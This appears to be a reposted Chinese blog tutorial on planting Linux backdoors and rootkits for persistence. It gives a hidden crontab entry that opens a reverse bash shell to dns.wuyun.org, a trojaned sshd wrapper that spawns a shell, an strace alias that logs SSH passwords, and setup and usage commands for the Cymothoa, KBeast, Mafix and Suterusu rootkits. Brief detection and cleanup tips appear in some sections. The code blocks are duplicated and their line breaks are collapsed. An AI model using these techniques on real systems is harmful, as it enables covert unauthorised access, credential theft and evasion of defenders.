Linux Backdoor

网友投稿 514 2023-03-14

本站部分文章、图片属于网络上可搜索到的公开信息,均用于学习和交流用途,不能代表睿象云的观点、立场或意见。我们接受网民的监督,如发现任何违法内容或侵犯了您的权益,请第一时间联系小编邮箱jiasou666@gmail.com 处理。

Linux Backdoor

0x00 前言

结果没想到好像还是比较受欢迎,也是第一次被劈雷。最近办比赛遇上了rookit种植,感觉很无奈,所以自己也就研究了一下,内容都是一些以前的技术,也是为下面的笔记再次增加一章(windows下的域权限维持可以多看看三好学生师傅的文章)。大牛飘过。

测试环境:centos 6.5

0x01 crontab

计划任务,永远的爱

每60分钟反弹一次shell给dns.wuyun.org的53端口

#!bash(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

#!bash(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

0x02 硬链接sshd

上了防火墙的坑...测试前关闭一下吧

#!bashservice iptables stop

#!bashservice iptables stop

出现:ssh: connect to host 192.168.206.142 port 2333: No route to host

#!bashln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;ssh root@192.168.206.142 -p 2333

#!bashln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;ssh root@192.168.206.142 -p 2333

用root/bin/ftp/mail当用户名,密码任意

后门排查:

#!bashnetstat -anopt

#!bashnetstat -anopt

查找有问题的进程

#!bashps -ef | grep pidls -al /tmp/sukill -9 pidrm -rf /tmp/su

#!bashps -ef | grep pidls -al /tmp/sukill -9 pidrm -rf /tmp/su

0x03 SSH Server wrapper

条件:开启ssh,如果不连接是没有端口进程的,而且last也看不到

#!bashcd /usr/sbinmv sshd ../binecho '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd//不用重启也行/etc/init.d/sshd restart

#!bashcd /usr/sbinmv sshd ../binecho '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd//不用重启也行/etc/init.d/sshd restart

kali下的执行

#!bashsocat STDIO TCP4:192.168.206.142:22,sourceport=13377

#!bashsocat STDIO TCP4:192.168.206.142:22,sourceport=13377

对于源端口的修改:

#!python>>> import struct>>> buffer = struct.pack('>I6',19526)>>> print repr(buffer)'\x00\x00LF'>>> buffer = struct.pack('>I6',13377)>>> print buffer4A

#!python>>> import struct>>> buffer = struct.pack('>I6',19526)>>> print repr(buffer)'\x00\x00LF'>>> buffer = struct.pack('>I6',13377)>>> print buffer4A

后门排查:

#!bashnetstat -anopt//查看一下sshd进程情况,如果发现不是/usr/sbin/目录下面,就有问题ll /proc/1786cat /usr/sbin/sshd

#!bashnetstat -anopt//查看一下sshd进程情况,如果发现不是/usr/sbin/目录下面,就有问题ll /proc/1786cat /usr/sbin/sshd

还原:

#!bashrm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

#!bashrm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

0x04 SSH keylogger

vim当前用户下的.bashrc文件,末尾添加

#!bashalias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

#!bashalias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

然后使配置生效

#!bashsource .bashrc

#!bashsource .bashrc

当本地su或者ssh的时候,就会在tmp下面记录(无论失败成功都有记录)

0x05 Cymothoa_进程注入backdoor

很赞的点是注入到的进程,只要有权限就行,然后反弹的也就是进程相应的权限(并不需要root那样),当然进程重启或者挂了也就没了.当然动作也是很明显的。

线程注入:

#!bash./cymothoa -p 2270 -s 1 -y 7777

#!bash./cymothoa -p 2270 -s 1 -y 7777

#!bashnc -vv ip 7777

#!bashnc -vv ip 7777

0x06openssh_rookit

先patch

安装依赖

#!bashyum install zlib-develyum install openssl-develyun install pam-develyun install krb5-lib(没安装)

#!bashyum install zlib-develyum install openssl-develyun install pam-develyun install krb5-lib(没安装)

修改includes.h

编译安装再重启sshd服务

#!bash./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5make && make install && service  sshd restart

#!bash./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5make && make install && service sshd restart

利用:

会记录登入登出的ssh账号密码(错误的也会记录),配置文件中设置的密码,也可以通过ssh然后root登陆。

发现:

找到可疑sshd并且查看一下last的登陆ip,最后kill他们的进程,清除暂时不知

0x07 Kbeast_rootkit

#!bashtar -zxvf ipsecs-kbeast-v1.tar.gzcd kbeast-v1/vi config.h

#!bashtar -zxvf ipsecs-kbeast-v1.tar.gzcd kbeast-v1/vi config.h

重要配置:

#!cpp//键盘记录#define _LOGFILE_ "acctlog"//rookit产生的日志配置文件所存储位置(此位置是被隐藏的)#define _H4X_PATH_ "/usr/_h4x_"//telnet端口(端口也是隐藏的,netstat是看不到的)#define _HIDE_PORT_ 23333//telnet的端口以及返回回来的用户名(必须能调用/sh/bash,否则安装会出现Network Daemon错误)#define _RPASSWORD_ "lolloltest"#define _MAGIC_NAME_ "root"

#!cpp//键盘记录#define _LOGFILE_ "acctlog"//rookit产生的日志配置文件所存储位置(此位置是被隐藏的)#define _H4X_PATH_ "/usr/_h4x_"//telnet端口(端口也是隐藏的,netstat是看不到的)#define _HIDE_PORT_ 23333//telnet的端口以及返回回来的用户名(必须能调用/sh/bash,否则安装会出现Network Daemon错误)#define _RPASSWORD_ "lolloltest"#define _MAGIC_NAME_ "root"

利用:

1、记录:

2、telnet连接

缺点:重启就会失效,需要放入启动项优点:相比上面都是需要ssh相关或者是有一个低权限维持才能发挥的一个后门,这个是直接开放一个独立的端口

发现:其实感觉修改一下进程名,发现还是有点麻烦

0x08 Mafix + Suterusu rookit

1、Mafix

#!bash./root lolloltest 23333

#!bash./root lolloltest 23333

这样就会产生一个端口为23333,root密码也可以用lolloltest登陆的ssh,端口不隐藏

这时候就可以用Suterusu配合使用

2、Suterusu

功能表:

#!bashGet root$ ./sock 0Hide PID$ ./sock 1 [pid]Unhide PID$ ./sock 2 [pid]Hide TCPv4 port$ ./sock 3 [port]Unhide TCPv4 port$ ./sock 4 [port]Hide TCPv6 port$ ./sock 5 [port]Unhide TCPv6 port$ ./sock 6 [port]Hide UDPv4 port$ ./sock 7 [port]Unhide UDPv4 port$ ./sock 8 [port]Hide UDPv6 port$ ./sock 9 [port]Unhide UDPv6 port$ ./sock 10 [port]Hide file/directory$ ./sock 11 [name]Unhide file/directory$ ./sock 12 [name]

#!bashGet root$ ./sock 0Hide PID$ ./sock 1 [pid]Unhide PID$ ./sock 2 [pid]Hide TCPv4 port$ ./sock 3 [port]Unhide TCPv4 port$ ./sock 4 [port]Hide TCPv6 port$ ./sock 5 [port]Unhide TCPv6 port$ ./sock 6 [port]Hide UDPv4 port$ ./sock 7 [port]Unhide UDPv4 port$ ./sock 8 [port]Hide UDPv6 port$ ./sock 9 [port]Unhide UDPv6 port$ ./sock 10 [port]Hide file/directory$ ./sock 11 [name]Unhide file/directory$ ./sock 12 [name]

编译:

#!bashmake linux-x86 KDIR=/lib/modules/$(uname -r)/buildgcc sock.c -o sock//加载模块insmod suterusu.ko

#!bashmake linux-x86 KDIR=/lib/modules/$(uname -r)/buildgcc sock.c -o sock//加载模块insmod suterusu.ko

结合Mafix使用(隐藏端口):

#!bash./sock 3 [port]

#!bash./sock 3 [port]

0x09 参考资料

上一篇:Linux PAM&&PAM后门
下一篇:Linux堆溢出漏洞利用之unlink
相关文章

 发表评论

暂时没有评论,来抢沙发吧~